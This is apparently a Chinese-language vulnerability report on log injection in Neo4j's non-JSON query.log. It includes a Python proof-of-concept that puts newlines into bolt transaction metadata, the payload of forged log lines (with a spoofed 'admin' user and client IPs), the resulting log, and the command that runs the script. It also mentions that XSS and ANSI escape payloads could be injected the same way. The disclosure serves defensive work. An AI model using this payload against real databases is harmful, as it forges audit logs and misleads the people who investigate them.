当 Neo4j 未配置为 JSON 格式时,经过身份验证的用户可以在 Neo4j 的 query.log 中执行日志注入。
Neo4j 在 bolt 事务的元数据字段中没有转义控制字符。经过身份验证的用户可以发送控制字符,通过注入换行符 \n 来伪造日志条目。
在附带的 POC 代码中,这些查询被添加到 query.log,看起来都合法,但实际上只有第一个是真实的。由于注入,日志中还会出现一些格式错误的其他痕迹。
MATCH (n:RealQuery) RETURN n LIMIT 1
MATCH (n:FakeQuery1) RETURN n LIMIT 1
^ 第二个是注入的,它从未被执行过
本质上就是这样:
with driver.session() as session:
tx = session.begin_transaction(metadata={"x": payload})
tx.run("RETURN 1")
tx.commit()
其中 payload 类似
'\n
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
会生成这样的 query.log:
2025-12-05 13:08:34.585+0000 INFO Query started: id:1 - transaction id:1 - 255 ms: (planning: 255, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:35.308+0000 INFO id:1 - transaction id:1 - 980 ms: (planning: 915, waiting: 0) - 312 B - 2 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:35.333+0000 INFO Query started: id:2 - transaction id:2 - 10 ms: (planning: 10, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=null - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
2025-12-05 13:08:35.370+0000 INFO id:2 - transaction id:2 - 47 ms: (planning: 44, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=pipelined - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123
这会将伪造的日志条目注入到 query.log 中。
缺乏转义还可能被滥用以注入例如 XSS payload(对基于 Web 的日志分析应用程序构成风险)或 ANSI 转义字符(对基于终端的日志交互构成风险)。